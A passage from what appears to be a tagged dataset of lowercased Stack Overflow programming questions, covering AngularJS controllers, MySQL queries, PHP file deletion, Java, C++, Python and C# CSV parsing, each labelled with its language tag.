editjobmodal(job.jobid)  ng-click= selectjob(job) &gt;{{job.jobname}}&lt;/td&gt;                           &lt;/tr&gt;                       &lt;/tbody&gt;                   &lt;/table&gt;               &lt;/div&gt;&lt;!--end job table--&gt; </code></pre>   po controller   <pre><code> use strict ; app.controller( poctrl   function ($scope  $rootscope  $resource  $http  $filter     $q  $modal  po  poget  pofactory  notificationfactory) {  //new purchaseorder modal $scope.newpurchaseordermodal = function () {     var modalinstance = $modal.open({         templateurl:  views/modals/newpurchaseordermodal.html           controller:  newpurchaseordermodalinstancectrl           windowclass:  large-modal           resolve: {             p: function () {                 return $scope.p;             }         }     }); }; //edit purchaseorder modal $scope.editpurchaseordermodal = function (id) {     $.get( /api/apipurchaseorder/  + id  function (data) {         $scope.items = data;         var modalinstance = $modal.open({             templateurl:  views/modals/editpurchaseordermodal.html               controller:  editpurchaseordermodalinstancectrl               windowclass:  large-modal               resolve: {                 items: function () {                     return $scope.items;                 }             }         });     });  }; //get purchaseorders  poget.query().then(function (data) {     $scope.poarray = data;          }  function (reason) {              errormngrsvc.handleerror(reason); });   //post new purchase orders $scope.submitpo = function () {;     $http.post( /api/apipurchaseorder/postnewpurchaseorder   $scope.data).success(function (data  status  headers) {         $scope.cancelnewpurchaseordermodal();      }); }; //$scope.submitpo = function () {; //    $scope.job = {}; //    alert($scope.ponumber); //    var data = { //        jobid: $scope.job.jobid  //        ponumber: $scope.ponumber  //        podate: $scope.podate  //        poamount: $scope.poamount  //        polastprintdate: $scope.polastprintdate  //        poemail: $scope.poemail  //        poprint: $scope.poprint  //        pofaxnumber: $scope.pofaxnumber  //        ponotes: $scope.ponotes  //        pocreatedby: $scope.pocreatedby  //        podeliverydate: $scope.podeliverydate  //        poshipvia: $scope.poshipvia  //        poshowprices: $scope.poshowprices  //        pocostcode: $scope.pocostcode  //        poapprovednumber: $scope.poapprovednumber  //        pobackorder: $scope.pobackorder  //       } //    $http.post( /api/apipurchaseorder/postnewpurchaseorder   data).success(function (data  status  headers) { //        console.log(data); //        $scope.cancelnewpurchaseordermodal();  //    }); //}; });//end poctrl app.controller( newpurchaseordermodalinstancectrl   function ($scope  $modalinstance) {  $scope.cancelnewpurchaseordermodal = function () {     $modalinstance.dismiss( cancel ); }; });  app.controller( editpurchaseordermodalinstancectrl   function ($scope  $modalinstance  items) {  $scope.items = items;  $scope.canceleditpurchaseordermodal = function () {     $modalinstance.dismiss( cancel ); }; }); </code></pre>   job controller   <pre><code> use strict ;  app.controller( jobctrl   function ($scope  $rootscope  $resource  $route  $http  $filter    $q  $modal  $sessionstorage  job  jobget  jobfactory  notificationfactory) {   //new job modal $scope.newjobmodal = function () {      var modalinstance = $modal.open({         templateurl:  views/modals/newjobmodal.html           controller:  newjobmodalinstancectrl           windowclass:  large-modal           resolve: {             p: function () {                 return $scope.p;             }         }     }); };  $scope.editjobmodal = function (id) {     $.get( /api/apijob/  + id  function (data) {         $scope.items = data;         var modalinstance = $modal.open({             templateurl:  views/modals/editjobmodal.html               controller:  editjobmodalinstancectrl               windowclass:  large-modal               resolve: {                 items: function () {                     return $scope.items;                 }             }         });     });  };  //get jobs  $scope.jobarray = {}; jobget.query().then(function (data) {     $scope.jobarray = data;  }  function (reason) {     errormngrsvc.handleerror(reason);  });  //post new job  $scope.submitjob = function () {     var data = {         geoareaid: $scope.newitems.geoareaid          jobtypeid: $scope.newitems.jobtypeid          jobclassid: $scope.newitems.jobclassid          customerid: $scope.newitems.customerid          jobid: $scope.newitems.jobid          jobnumber: $scope.newitems.jobnumber          jobname: $scope.newitems.jobname          jobdescription: $scope.newitems.jobdescription          joboriginalcontract: $scope.newitems.joboriginalcontract          jobbillingdate: $scope.newitems.jobbillingdate          jobtotalco: $scope.newitems.jobtotalco          jobrevisedcontract: $scope.newitems.jobrevisedcontract         }     $http.post( /api/apijob/postnewjob   data).success(function (data  status  headers) {         console.log(data);          $scope.cancelnewjobmodal();              $scope.$evalasync(function () {                  $scope.data;         });     }); };  //update job  $scope.updatejob = function (job) {     jobfactory.updatejob(job).success(successcallback)         .error(errorcallback);          console.log(job);              $scope.canceleditjobmodal();                  $scope.$evalasync(function () {                      $scope.job;                  });  }; var successcallback = function (job  status  headers  config) {     notificationfactory.success(); }; var errorcallback = function (job  status  headers  config) {     notificationfactory.error(job.exceptionmessage); };   //sync table selections / sessionstorage $scope.selectedjob = $sessionstorage.$default($scope.jobarray[1]); $scope.selectjob = function (job) {     $rootscope.job = job;     angular.extend($scope.selectedjob  job);     console.log($rootscope.job); }; $scope.clearselectedjob = function () {     $sessionstorage.$reset(); };  $scope.newitems = {}; //typeahead new job customer select  $scope.selectnewcustomer = function (customer) {      $scope.newitems.customerid = customer.customerid;     $scope.newitems.customer.customername = customer.customername;     $scope.newitems.customer.customeraddress = customer.customeraddress;     $scope.newitems.customer.customercity = customer.customercity;     $scope.newitems.customer.customerstate = customer.customerstate;     $scope.newitems.customer.customerzipcode = customer.customerzipcode;     $scope.newitems.customer.customerphonenumber = customer.customerphonenumber;     $scope.newitems.customer.customerfaxnumber = customer.customerfaxnumber;     $scope.newitems.customer.customerwebsite = customer.customerwebsite;     $scope.newitems.customer.customerothershit = customer.customerothershit;      $scope.newitems.customer.customerhidden = customer.customerhidden;     $scope.newitems.customer.customerpm = customer.customerpm;     $scope.newitems.customer.customeradmin = customer.customeradmin;     $scope.newitems.customer.customeraccountant = customer.customeraccountant; };     });//end job controller  app.controller( newjobmodalinstancectrl   function ($scope  $modalinstance) {  $scope.cancelnewjobmodal = function () {     $modalinstance.dismiss( cancel ); }; });  app.controller( editjobmodalinstancectrl   function ($scope  $modalinstance  items) {  $scope.items = items;  $scope.canceleditjobmodal = function () {     $modalinstance.dismiss( cancel ); }; }); </code></pre>,angularjs
how to check task assigning time for a user in mysql   i have table task_manager like this    <pre> task_id | from_time | to_time | user_id |  =========================================   1     |   10:30   |  12:00  |   1   2     |   16:00   |  17:30  |   1   3     |   12:00   |  14:00  |   1   </pre>   if i use the following query   i can get the first record.     select * from <code>task_manager</code>  where from_time &lt;=  11:30   and   to_time >=  12:00 ;    but i want to check the time for user the time between 11:30 to 12:30. how to get the result for first &amp; last records,mysql
clickable image html  i have the following code for a background image:    <pre><code> &lt;table cellpadding= 0  cellspacing= 0  border= 0 &gt;  &lt;tr&gt;  &lt;td style= background-image: url(someimage.png);    width: 305px; height: 23px;    text-align: center;    vertical-align: middle;      border: 0px #ffffff solid &gt;     &lt;a href= somelink.com  style= color: white; text-decoration: none &gt;this is a test   link&lt;/a&gt;     &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt; </code></pre>   the text defined within the image is clickable  but the background image itself is not.  is it possible to make it so the background image and text is clickable to go to another link,html
how to delete a file from a directory using php  from the title you can see i am looking for a way to delete a file from a different directory. all i can find on the subject is the unlink()  but from what i read in the documentation and from testing that function is it deletes the file name from the code you put it in. makes me think it s quite similar to closing the file. what i am trying to do is actually delete a file using code so my user doesn t have to manually go to the folder and find the song they just deleted from the mysql database.,php
find :all -- in condition  i have 2 models in my rails application: book and editions. a book can have many editions.    i need to get all the  editions  of the  books  written by a specific author.    <strong>find all books by a specific author</strong>   <pre><code> @saved_books = book.find :all  :conditions =&gt; [ aut_fk =    @aut.id ]  </code></pre>   @saved_books contains an array of books written by a specific author.     my question is how do i get the editions of the books written by a specific author.   <pre><code>@editions =  edition.find(:all  :conditions =&gt; [  book_fk in ( )   @saved_book.id]) //this code is not correct </code></pre>   any suggestion is most appreciated.,ruby-on-rails
what is mean -(ibaction) behavior function   hi i m studying ios but i have a trouble.    here are four kind of functions..   <pre><code>-(ibaction) behavior : (uibutton *) sender;  -(ibaction) behavior : (id) sender;  -(ibaction) behavior : sender;  -(ibaction) behavior; </code></pre>   i know about top three things. but i don t know about the last function   <pre><code>-(ibaction) behavior; </code></pre>   what is mean  and when i use this     if i have a button  then i can use this function    but i can t use that. if i have a slider  or picker view.. whatever    it s the only use for button,iphone
how to create two new lists from this mix in python   i am trying to create two new lists one for colors and one for sizes.<br> so i want the new code to be:   <pre><code>resp[ colors ] = [ teal combo    teal combo ] resp[ sizes ] = [ s   s ] </code></pre>   so far  no dice.   <pre><code>resp = {} resp[ color ] = [ color:    teal combo    size:    s    color:    teal combo    size:           s ]   for i  s in enumerate(resp[ color ]):     colors = []     sizes = []     print i   s     if s.lower() ==  color:  and len(resp[ color ]) &gt; i+2:         colors.append(resp[ color ][i+1])            sizes.append(resp[ color ][i+2])     resp[ colors ] = colors     resp[ sizes ] = sizes </code></pre>,python
entries in a bag belonging to the same class or inherited classes  i am unable to complete the source code from the book called data structures and abstractions with java.    i have included the java files with the question. my error is in onlineshopper.java.    it says that arraybag does not exist and cannot be found.   <pre><code>baginterface&lt;item&gt; shoppingcart = new arraybag&lt;&gt;(); </code></pre>   does anyone know what i am missing  thank you very much for reading this question.    from  fred   <pre><code>public interface baginterface&lt;t&gt; {     public int getcurrentsize();      public boolean isempty();      public boolean add(t newentry);      public t remove();      public boolean remove(t anentry);      public void clear();      public int getfrequencyof(t anentry);      public boolean contains(t anentry);      public t[] toarray(); }      /** a class that maintains a shopping cart for an online store.     @author frank m. carrano     @version 4.0     */     public class onlineshopper     {         public static void main(string[] args)          {              item[] items = {new item( bird feeder   2050)                    new item( squirrel guard   1547)                    new item( bird bath   4499)                    new item( sunflower seeds   1295)};               baginterface&lt;item&gt; shoppingcart = new arraybag&lt;&gt;();              int totalcost = 0;               // statements that add selected items to the shopping cart:              for (int index = 0; index &lt; items.length; index++)              {                  item nextitem = items[index]; // simulate getting item from shopper                  shoppingcart.add(nextitem);                  totalcost = totalcost + nextitem.getprice();                } // end for               // simulate checkout              while (!shoppingcart.isempty())              system.out.println(shoppingcart.remove());               system.out.println( total cost:   +  \t$  + totalcost / 100 +  .  +                      totalcost % 100);          } // end main       } // end onlineshopper </code></pre>   item class:    <pre><code>public class item {      private string description;      private int    price;       public item(string productdescription  int productprice)       {          description = productdescription;          price = productprice;      } // end constructor       public string getdescription()       {           return description;      } // end getdescription       public int getprice()       {          return price;      } // end getprice       public string tostring()       {            return description +  \t$  + price / 100 +  .  + price % 100;      } // end tostring } // end item </code></pre>   sorry about the misclick,java
int does not increment in struct when using ++  i have a struct that contains an int but when i call the following...   <pre><code>typedef std::map&lt;char  messageletter&gt; letters; ... letters llist; ... messageletter m = llist[letter]; std::cout &lt;&lt;  before   &lt;&lt; m.count &lt;&lt; std::endl; int c = ++m.count; m.count = c; std::cout &lt;&lt;  after   &lt;&lt; m.count &lt;&lt; std::endl; </code></pre>   i am new to c++ and i am guessing this is a pointer issue but the output is...   <pre><code>before 1 after 2 before 1 after 2 </code></pre>   i would expect...   <pre><code>before 1 after 2 before 2 after 3 </code></pre>,c++
looping through text boxes in .net  i have pretty basic question in #c. i have some text boxes named textbox1 textbox2 .... textbox10 on web form and i want them to access in loop   something like   <pre><code>for(var count=1;count&lt;10;count++) {     textbox+count.tostring().text= something  } </code></pre>   can we do eval() like javascript,.net
understanding css declaration  when i declare something like    <code>&lt;div class= t-widget t-treeview t-reset  id= treeview &gt;</code>    am i saying that either three classes (i.e. <code>t-widget</code>  <code>t-treeview</code> or <code>t-reset</code> ) apply     so:   <pre><code>.t-widget {    ...    /* styles apply */ }  .t-treeview {    ...    /* styles apply */ }  .t-reset {    ...    /* styles apply */ } </code></pre>,css
"why i am getting  cannot read property style of null  error   i am not able to understand why it is giving    <blockquote>    uncaught typeerror: cannot read property  style  of null  at line 38   </blockquote>   when i am moving the mouse pointer at all the divs. every time i move the pointer at a div  i get the error.    please explain what is the issue.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var top =  p3 ;
 
 function totop(newtop) {
   var domtop = document.getelementbyid(top).style;
   var domnew = document.getelementbyid(newtop).style;
   domtop.zindex =  0 ;
   domnew.zindex =  10 ;
   top = document.getelementbyid(newtop).id;
 }</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.para1 {
   position: absolute;
   top: 10;
   left: 120;
   z-index: 0;
   border: solid;
   padding: 80;
   width: 300;
   background-color: aqua;
 }
 .para2 {
   position: absolute;
   top: 50;
   left: 150;
   z-index: 0;
   border: solid;
   padding: 80;
   width: 300;
   background-color: yellow;
 }
 .para3 {
   position: absolute;
   top: 100;
   left: 180;
   z-index: 0;
   border: solid;
   padding: 80;
   width: 300;
   background-color: red;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div style= z-index: 10;  class= para1  id= p1  onmouseover= totop( p1 ) &gt;frame one&lt;/div&gt;
 &lt;div style= z-index: 5;  class= para2  id= p2  onmouseover= totop( p2 ) &gt;frame two&lt;/div&gt;
 &lt;div style= z-index: 0;  class= para3  id= p3  onmouseover= totop( p3 ) &gt;frame three&lt;/div&gt;</code></pre>
 </div>
 </div>",javascript
php echo value won t work  this works just fine   <pre><code>&lt; php echo $response-&gt;user-&gt;last_game;  &gt; </code></pre>   but this doesn t   <pre><code>$oscore=$response-&gt;user-&gt;current_game; </code></pre>   how can i get $oscore to equal that value pulled from this script:    <pre><code>    private function clean_dirty_response($object)      {     // the final object     $final_object = new stdclass();      // convert the xml to an object     $object = simplexml_load_string($object);      // now that we ve converted the xml to an object we can start shifting things around     $final_object-&gt;user-&gt;membership_status  = (string)$object-&gt;accountstatus;     $final_object-&gt;user-&gt;last_game          = str_replace(           (string)$object-&gt;presenceinfo-&gt;info); // for some reason there s some extra whitespace that needs to be removed     $final_object-&gt;user-&gt;current_game           = str_replace(           (string)$object-&gt;presenceinfo-&gt;info2); // for some reason there s some extra whitespace that needs to be removed     $final_object-&gt;user-&gt;last_seen          = (string)$object-&gt;presenceinfo-&gt;lastseen;     $final_object-&gt;user-&gt;online             = (string)$object-&gt;presenceinfo-&gt;online;     $final_object-&gt;user-&gt;status_text        = (string)$object-&gt;presenceinfo-&gt;statustext;     $final_object-&gt;user-&gt;title              = (string)$object-&gt;presenceinfo-&gt;title;     $final_object-&gt;user-&gt;gamertag           = (string)$object-&gt;gamertag;     $final_object-&gt;user-&gt;profile_url        = (string)$object-&gt;profileurl;     // jezus christ  why capitalize every freaking word  just use lowercase next time you damn api!     $final_object-&gt;user-&gt;profile_picture    = (string)$object-&gt;tileurl;     $final_object-&gt;user-&gt;avatar             =  http://avatar.xboxlive.com/avatar/  . str_replace(      %20   $final_object-&gt;user-&gt;gamertag) .  /avatar-body.png ;     $final_object-&gt;user-&gt;country            = (string)$object-&gt;country;     $final_object-&gt;user-&gt;reputation         = (int)$object-&gt;reputation;     $final_object-&gt;user-&gt;bio                = (string)$object-&gt;bio;     $final_object-&gt;user-&gt;location           = (string)$object-&gt;location;     $final_object-&gt;user-&gt;reputation_image   = (string)$object-&gt;reputationimageurl;     $final_object-&gt;user-&gt;gamerscore         = (string)$object-&gt;gamerscore;     $final_object-&gt;user-&gt;zone               = (string)$object-&gt;zone;      // now it s time to clean the recentgames part       $final_object-&gt;recent_games             = array();     $i                                      = 0;      // loop through each game and clean it up     foreach ($object-&gt;recentgames-&gt;xboxusergameinfo as $recent_game)     {         $obj = new stdclass();          $obj-&gt;name                  = (string)$recent_game-&gt;game-&gt;name;         $obj-&gt;achievements          = (int)$recent_game-&gt;achievements;         $obj-&gt;total_achievements    = (int)$recent_game-&gt;game-&gt;totalachievements;         $obj-&gt;gamerscore            = (int)$recent_game-&gt;gamerscore;         $obj-&gt;total_gamerscore      = (int)$recent_game-&gt;game-&gt;totalgamerscore;         $obj-&gt;thumb_32              = (string)$recent_game-&gt;game-&gt;image32url;         $obj-&gt;thumb_64              = (string)$recent_game-&gt;game-&gt;image64url;          // format the date         $raw_date           = (string)$recent_game-&gt;lastplayed;         $raw_date           = explode( t   $raw_date);         $date               = $raw_date[0];         // time         $raw_time           = $raw_date[1];         $raw_time           = explode( +   $raw_time);         $time               = $raw_time[0];         // offset         $offset             = $raw_time[1];         $obj-&gt;last_played   = array( date  =&gt; $date   time  =&gt; $time   offset  =&gt; $offset);         $obj-&gt;details_url   = (string)$recent_game-&gt;detailsurl;          $final_object-&gt;recent_games[$i] = $obj;          // counter + 1         ++$i;     }      return $final_object; } </code></pre>,php
unknownformatconversionexception with string.format in java  why am i getting the error java.util.unknownconversionexception: conversion =  d  for the method below. i create an intial string  then return that from a method to do a string.format.  it happens at the string.format.   <pre><code>string url = stringutils.join(new string[] { base_url                   /location/inst/   slug                   /coursesections/number%s.json apikey=   apikey                   &amp;token=   getauthtokenencoded(authtoken) })   string url2 = string.format(url  ( /  + callnumber)); </code></pre>   <strong>output of stringutils</strong>   <pre><code>http://test.com/location/inst/testy/coursesections/number%s;.json apikey=dfsdfsdfsadfsdf&amp;token=2.0%7cidm%7cidm%7ctest%3dbesrlin_50d4s9dd25dsee56f3a1e95fb4f%26berlin%3d50d49dd2e2f28cf450b0caa9f449%26campus%3dberlin%3a50d49dd25ee56f3a1e95fb4f%7c2013-03-12t16%3a25%3a23%2b00%3a00%7c2013-03-12t19%3a25%3a23%2b00%3a00%7c09161a6011f2dc2e3443bc40b2d3f4b3d4f </code></pre>,java
keyboard event handling  i m doing the project on remote screen capturing and controlling.... i have done the screen capturing.... now i watn to make controlling....in it i want.... i have done the controlling through mouse events like mousemove &amp; mousepressed mousereleased... but the  <strong><em>controlling by keyboard</em></strong> is not done...so tell me how to do keyboard events on robot class and using it how to make controlling...     so suggest me the solution for how to make controlling by keyboard event.... thanks...,java
how does work method getformat  please describe me how does work method getformat. below i have given a typical example of the method. i don t undersand what object we put in  formattype   when we call string.format and why we return  this       thanks for your answers.   <pre><code> class timewordformatter : iformatprovider  icustomformatter  {     static readonly string[] hours = {  h    hours    h  };     static readonly string[] minutes = {  m    minutes    m  };     static readonly string[] seconds = {  s    seconds    s  };      public object getformat(type formattype)     {         if (formattype == typeof(icustomformatter))         {             return this;         }          else          {          return null;          }     }       public string format(string format  object arg  iformatprovider formatprovider)     {         if (arg == null || !(arg is timespan) || format !=  w )             return string.format( {0:  + format +  }   arg);          timespan time = (timespan)arg;          string hh = getcase(time.hours  hours);         string mm = getcase(time.minutes  minutes);         string ss = getcase(time.seconds  seconds);          return string.format( {0:%h} {1} {0:%m} {2} {0:%s} {3}   time  hh  mm  ss);     }      static string getcase(int value  string[] options)     {         value = math.abs(value) % 100;          if (value &gt; 10 &amp;&amp; value &lt; 15)             return options[2];          value %= 10;         if (value == 1) return options[0];         if (value &gt; 1 &amp;&amp; value &lt; 5) return options[1];         return options[2];     }       static void main()     {          var now = datetime.now;         string formattedtime = string.format(new timewordformatter()   {0:w}   now.timeofday);         console.writeline(formattedtime);     }  } </code></pre>,.net
asp.net: why disable autoeventwireup improve asp.net perfomance   i was reading this <a href= http://wiki.asp.net/page.aspx/667/improve-perfomance-in-aspnet/  rel= nofollow noreferrer >wiki entry</a>    on point 10  it stated to disable autoeventwireup for perfomance improvement but didn t give any reason. isn t autoevenwireup is delegating  how does it improve the asp.net performance by disable/false      does anyone know why,asp.net
nameerror: uninitialized constant classname  i am getting error in irb    <pre><code>nameerror: uninitialized constant student </code></pre>   for <code>student.new</code> or whatever model operations are there.    but in rails it gives no error and it works fine. what would be the reason     this error only happens in windows  same code i have in linux and there it works fine.     what makes the difference here,ruby-on-rails
python: 167 leetcode two sumii cannot work  i tried to solve leetcode problem 167 as below  but it couldn t be accepted  i could run it successfully in pycharm  i wonder what is the problem  thanks! the question is:   <blockquote>    given an array of integers that is already sorted in ascending order  find two numbers such that they add up to a specific target number.        the function twosum should return indices of the two numbers such that they add up to the target  where index1 must be less than index2. please note that your returned answers (both index1 and index2) are not zero-based.        you may assume that each input would have exactly one solution and you may not use the same element twice.        input: numbers={2  7  11  15}  target=9   output: index1=1  index2=2  </blockquote>   and my code is:   <pre><code>class solution(object): def twosum(self  numbers  target):      for x in range(0 len(numbers)):         for y in range(x+1 len(numbers)):             if numbers[x]+numbers[y] == target:                 return x+1 y+1     return x+1 y+1 </code></pre>,python
converting binary integer into binary fraction  i am generating integers (let s call them  m_i  where i is an integer). for example  i may generate m_5 = 31 (=11111). there is one restriction on each of the m_i and that is that each m_i must be an odd integer and must be less than 2^i. the reason for this is that i am actually interested in generating the values v_i where v_i = m_i / (2^i). (for anyone interested  this is for a sobol sequence generator)    now  m_i is just the binary expansion of v_i after the decimal point (e.g. v_5 = 0.11111) and ideally i would like to be able to simply right shift m_i by i bits to get v_i. however  this is  of coarse  illegal in c++ because i cannot use bit operations of floats or doubles.    right now i am using a quick implementation of integer power and simply using the line:   <pre><code>v[i] = ((double)m[i]) / ((double)ipow(2 i+1)); </code></pre>   and this works fine but this is an o(log n) calculation  when realistically  there should be a way of doing this in o(1). are there any wizards out there who might be able to let me know if there is a better way of achieving the desired result     thanks in advance for the help!,c++
get set using lists in c# ...help needed  i need to read a csv file in c# and drop the data into a list and then dump the data to a sql database database.    the class i m interested using is using csvhelper.    this is two sample data in the csv file:   <pre><code>1 2013-05-14 nissan 059 7013 1995 van deisel nissan 0000 nissan red maradana op1 description p1.jpg+p2.jpg+p3.jpg r1+r2+r3  2 2013-05-14 nissan2 059-7013 1995 van deisel nissan 0000 nissan red maradana op1 description p1.jpg+p2.jpg+p3.jpg r1+r2+r3 </code></pre>   this is the class for the csv file   <pre><code>class vehicle     {         public int id { get; set; }         public string closingdate { get; set; }         public string model { get; set; }         public string reg { get; set; }         public string yearofmanufacture { get; set; }         public string vehicletype { get; set; }         public string fuel { get; set; }         public string brand { get; set; }         public string mileage { get; set; }         public string make { get; set; }         public string colour { get; set; }         public string vehicleyard { get; set; }         public string basicoptions { get; set; }         public string description { get; set; }         public list&lt;string&gt; photos { get; set; }         public list&lt;string&gt; regions { get; set; }     } </code></pre>   i tried and read the csv file using this code:   <pre><code>namespace consoleapplication2 {     class program     {         static void main(string[] args)         {             csvhelperread();              console.read();         }          private static void csvhelperread()         {              csvconfiguration config = new csvconfiguration();             config.hasheaderrecord = false;              using (var reader = new csvreader(new streamreader(@ c:\users\afshandc\desktop\0729\vtest.csv )  config))             {                 while (reader.read())                 {                     console.writeline(reader.getfield(1));                 }             }         }     } } </code></pre>   i need to read the csv file and drop it to this list.   <pre><code> class csv     {         public list&lt;vehicle&gt; readvechilecsv()         {                }     } </code></pre>,c#
program to print following pattern in c++  how can i produce the following pattern in c++ considering the input has odd digits.   <pre><code>p         m  r      a    o  r      g   o    r  r       a p          m  </code></pre>   i tried the following code but i don t know how to proceed with it.   <pre><code>#include &lt;iostream&gt; #include &lt;cstring&gt; using namespace std;  int main() {     char word[100];     int len  temp;     cout &lt;&lt;  input word with odd letters: \n ;     cin &gt;&gt; word;     len = strlen(word);     cout &lt;&lt;  entered word was :  &lt;&lt; word &lt;&lt;   and of size:   &lt;&lt; strlen(word) &lt;&lt;  \n ;     if(len % 2==0)     {         cout &lt;&lt;  please enter a word with odd number of letters! ;     }     else     {         int mid;         mid = (len - 1)/2;         cout &lt;&lt;  the middle number is :   &lt;&lt; mid+1 &lt;&lt;   and character is   &lt;&lt; word[mid] &lt;&lt;  \n ;         temp = len - 1;         for(int i=0; i&lt;len; i++)         {             // some logic to display it just like above         }         cout &lt;&lt;  done  &lt;&lt; endl;     } } </code></pre>,c++
error while restoring mysql dump whit xampp  i have thi error when i restor my  .sql  file    error 1064 (42000) at line 111: you have an error in your sql syntax; check the manual that corresponds to your mariadb server version for the right syntax to use near  þáç  at line 1    but more code are comments and the code are good please help me     this is the code:   <pre><code>    -- mysql dump 10.16  distrib 10.1.30-mariadb  for win32 (amd64) -- -- host: localhost    database: magazzino -- ------------------------------------------------------ -- server version   10.1.30-mariadb  /*!40101 set @old_character_set_client=@@character_set_client */; /*!40101 set @old_character_set_results=@@character_set_results */; /*!40101 set @old_collation_connection=@@collation_connection */; /*!40101 set names utf8 */; /*!40103 set @old_time_zone=@@time_zone */; /*!40103 set time_zone= +00:00  */; /*!40014 set @old_unique_checks=@@unique_checks  unique_checks=0 */; /*!40014 set @old_foreign_key_checks=@@foreign_key_checks  foreign_key_checks=0 */; /*!40101 set @old_sql_mode=@@sql_mode  sql_mode= no_auto_value_on_zero  */; /*!40111 set @old_sql_notes=@@sql_notes  sql_notes=0 */;  -- -- table structure for table `articoli` --  drop table if exists `articoli`; /*!40101 set @saved_cs_client     = @@character_set_client */; /*!40101 set character_set_client = utf8 */; create table `articoli` (   `id` int(7) not null auto_increment    `descrizione` varchar(30) not null    `giacenza` int(7) default null    primary key (`id`) ) engine=innodb auto_increment=2 default charset=latin1; /*!40101 set character_set_client = @saved_cs_client */;  -- -- dumping data for table `articoli` --  lock tables `articoli` write; /*!40000 alter table `articoli` disable keys */; insert into `articoli` (`id`  `descrizione`  `giacenza`) values (1  laptoop  6); /*!40000 alter table `articoli` enable keys */; unlock tables;  -- -- table structure for table `associazioni` --  drop table if exists `associazioni`; /*!40101 set @saved_cs_client     = @@character_set_client */; /*!40101 set character_set_client = utf8 */; create table `associazioni` (   `id` int(7) not null auto_increment    `data` date not null    `narticoli` int(7) default null    `ida` int(7) default null    `idc` int(7) default null    primary key (`id`)    key `ida` (`ida`)    key `idc` (`idc`)    constraint `associazioni_ibfk_1` foreign key (`ida`) references `articoli` (`id`) on delete cascade    constraint `associazioni_ibfk_2` foreign key (`idc`) references `clienti` (`id`) on delete cascade ) engine=innodb default charset=latin1; /*!40101 set character_set_client = @saved_cs_client */;  -- -- dumping data for table `associazioni` --  lock tables `associazioni` write; /*!40000 alter table `associazioni` disable keys */; /*!40000 alter table `associazioni` enable keys */; unlock tables;  -- -- table structure for table `clienti` --  drop table if exists `clienti`; /*!40101 set @saved_cs_client     = @@character_set_client */; /*!40101 set character_set_client = utf8 */; create table `clienti` (   `id` int(7) not null auto_increment    `cognome` varchar(30) not null    `nome` varchar(30) not null    `datan` date not null    `citta` varchar(30) not null    `indirizzo` varchar(50) not null    `telefono` varchar(10) not null    primary key (`id`) ) engine=innodb default charset=latin1; /*!40101 set character_set_client = @saved_cs_client */;  -- -- dumping data for table `clienti` --  lock tables `clienti` write; /*!40000 alter table `clienti` disable keys */; /*!40000 alter table `clienti` enable keys */; unlock tables; /*!40103 set time_zone=@old_time_zone */;  /*!40101 set sql_mode=@old_sql_mode */; /*!40014 set foreign_key_checks=@old_foreign_key_checks */; /*!40014 set unique_checks=@old_unique_checks */; /*!40101 set character_set_client=@old_character_set_client */; /*!40101 set character_set_results=@old_character_set_results */; /*!40101 set collation_connection=@old_collation_connection */; /*!40111 set sql_notes=@old_sql_notes */;  -- dump completed on 2018-02-05 19:11:50 </code></pre>,mysql
android test automation on multiple emulator devices  i have recently started android test automation. i have used robotium to develop my test scripts. i run the scripts on android emulators using genymotion. i want to run my test suite on multiple emulators at same time  can anyone please help me with how to do it,android
how to avoid chaining where .. in statements in sql   here is a sample query:   <pre><code>select customername from customers  where customernumber in  ( select customernumber from orders    where ordernumber      in ( select ordernumber from orderdetails      inner join products on orderdetails.productcode = products.productcode      where products.buyprice &gt; 100 )); </code></pre>   i believe the tables are self explanatory.    is there a better way to do this      sql noob here.,sql
"angular firefox (class constructors must be invoked with |new|)  i get the following error when running my application in firefox  the same does <strong>not</strong> happen in edge or chrome:   <blockquote>    typeerror: class constructors must be invoked with |new| stack-trace:  </blockquote>  <pre><code>h/&lt;.invoke@http://localhost:8080/js/angular.min.js:44:169 wf/this.$get&lt;/&lt;/&lt;@http://localhost:8080/js/angular.min.js:94:33 n@http://localhost:8080/js/angular.min.js:69:42 ga/&lt;@http://localhost:8080/js/angular.min.js:80:323 h/&lt;@http://localhost:8080/js/angular.min.js:134:467 mf/this.$get&lt;/m.prototype.$digest@http://localhost:8080/js/angular.min.js:145:417 mf/this.$get&lt;/m.prototype.$apply@http://localhost:8080/js/angular.min.js:149:111 l@http://localhost:8080/js/angular.min.js:102:87 wg/&lt;/a.onload@http://localhost:8080/js/angular.min.js:107:489 </code></pre>   additional context: i am new to angular  and i don t have much of an idea where to start to fix or debug this.    my main.js looks like this:   <pre><code>angular.module( appointmentapp )   .component( main   {     templateurl:  app/main.html       controller: maincontroller   }); </code></pre>   <strong>question:</strong> can someone advise me on how to go about debugging and resolving this browser specific issue     <strong>edit: some more code</strong>    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code> use strict ;
 
 (function() {
 
 class maincontroller {
 
  constructor($http $mdmedia $mddialog) {
     this.message =  hello ;
     this.$http=$http;
     this.appointment = [];
     this.slots = [];
     this.$mdmedia = $mdmedia;
     this.$mddialog = $mddialog;
     //...
     }
 
   
   save(appointment){
     //...
     });
         
   }
   
   $oninit(){
     var vm = this;
     this.$http.get( /api/data ).then(response=&gt;{
         this.data=response.data;
         this.dates = this.allot(this.slots this.days this.appointments);
     });
   }
 
   
 
 allot(slots  days  appointments){
  //...
 }
 
 
   showadvanced(slot) {
       var vm = this;
     var usefullscreen = (this.$mdmedia( sm ) || this.$mdmedia( xs ))  &amp;&amp; this.customfullscreen;
     this.$mddialog.show({
       controller: function($scope $mddialog slot){
           $scope.customer = {};
           $scope.customer.slot = slot;
         $scope.answer = function(answer){
             $mddialog.hide(answer);
         };
       } 
       templateurl:  app/customer.html  
       locals : {
           slot : slot
       } 
       clickoutsidetoclose:true 
       fullscreen: usefullscreen
     })
     .then(function(answer) {
         answer.date = answer.slot.date;
         vm.save(answer);
     });
     
   }
   
   getcolor($index) {
     var _d = ($index + 1) % 11;
     var bg =   ;
 
     switch(_d) {
       case 1:       bg =  green ;       break;
       case 2:       bg =  darkblue ;    break;
       default:      bg =  yellow ;      break;
     }
 
     return bg;
   }
  
 
 }
 
 angular.module( appointmentapp )
   .component( main   {
     templateurl:  app/main.html  
     controller: maincontroller
   });
